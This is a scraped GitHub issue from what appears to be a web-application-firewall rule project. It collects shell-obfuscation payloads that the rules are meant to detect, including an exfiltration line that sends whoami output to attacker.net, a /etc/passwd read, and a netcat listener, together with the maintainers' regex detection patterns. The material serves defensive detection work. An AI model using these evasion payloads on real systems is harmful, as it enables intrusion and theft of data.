Shell aliasing and other techniques for RCE
See original GitHub issueDescription
Per reports EBIDJ91T, IXMZUXBG, K7LMFJXP, MKXQCJMX, S9ZC1HN6 and YIYFWRSY we need to be able to check different types of shell aliasing and other techniques to find RCE attempts.
Here are the examples we need to cover:
- using variables 1:
a=curl&&b=whoami&&$a http://attacker.net/$b
- using variables 2:
a=/etc&&b=/passwd&&c=cat&&$c $a$b
- globbing 1:
{n$u\c$u,-nlvp,777}
- globbing 2:
garb=cur[l];$garb+google.com
- vars + spacing:
v='u';cu$v\r\l google.com
- non-existing vars:
cu$@rl
This might need a new rule encompassing all these, or we can complement existing ones.
Issue Analytics
- State:
- Created a year ago
- Reactions:1
- Comments:11 (11 by maintainers)
Top Results From Across the Web
️ RCE to Shell Techniques . You have ... - Robert Scocca
While hacking vulnerable machines, you'll find neat exploits that give you a shell on the target automatically.
Read more >Remote Code Execution in Three Acts: Chaining Exposed ...
I provide an updated RCE method via Spring Boot 2.x's default ... ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.
Read more >K52145254: TMUI RCE vulnerability CVE-2020-5902 - AskF5
Look for the creation of aliases for the Advanced Shell (bash); the presence of an alias is a strong indicator of a potential...
Read more >Shell Script Security - Apple Developer
Provides a guided tour of (Bourne) shell scripting, including control structures, numerical computation, regular expressions, subroutines, ...
Read more >30 Handy Bash Shell Aliases For Linux / Unix / MacOS - nixCraft
Thirty bash shell aliases tutorials and examples to improve your productivity under a RHEL, CentOS, Debian, MacOS X, *BSD, Ubuntu, and Unix ...
Read more >Top Related Medium Post
No results found
Top Related StackOverflow Question
No results found
Troubleshoot Live Code
Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start FreeTop Related Reddit Thread
No results found
Top Related Hackernoon Post
No results found
Top Related Tweet
No results found
Top Related Dev.to Post
No results found
Top Related Hashnode Post
No results found
Top GitHub Comments
For future CRS developers
After thinking of a solution that involved changing the
cmdLine
processor to get additional coverage for evasions, we ended up with[\x5c'\"\[]*(?:\$[a-z0-9_@?!#{*-]*)?(?:\x5c)?
.This covers the cases below, so we are good:
But.
Yes, there is always one, right? After applying the change, we ended up with rule 932100 being about 32K of text 😕
So we started thinking about this with @theseion, and we came up with the following approach: let’s split the word lists in the length, and be less precise with the matches with more chars, and, instead, try to detect evasion attempts generically. The initial division we are using is 3 (three) chars. So, for the commands with (2,3) two and three chars we take them from the list as is, and we apply the evasion prevention mentioned above. For more than 3 (4 an up), we use a generic matching using something like
[a-z0-9][\x5c'\"\[]*(?:\$[a-z0-9_@?!#{*-]*)?(?:\x5c)?{4,10}
(10 here is used as example), so we can describe them using a generic approach.This will end up in:
All the techniques mentioned here were addressed.
The changes made for supporting this made me think about taking a second look at the whole techniques we are covering. Creating a follow-up issue.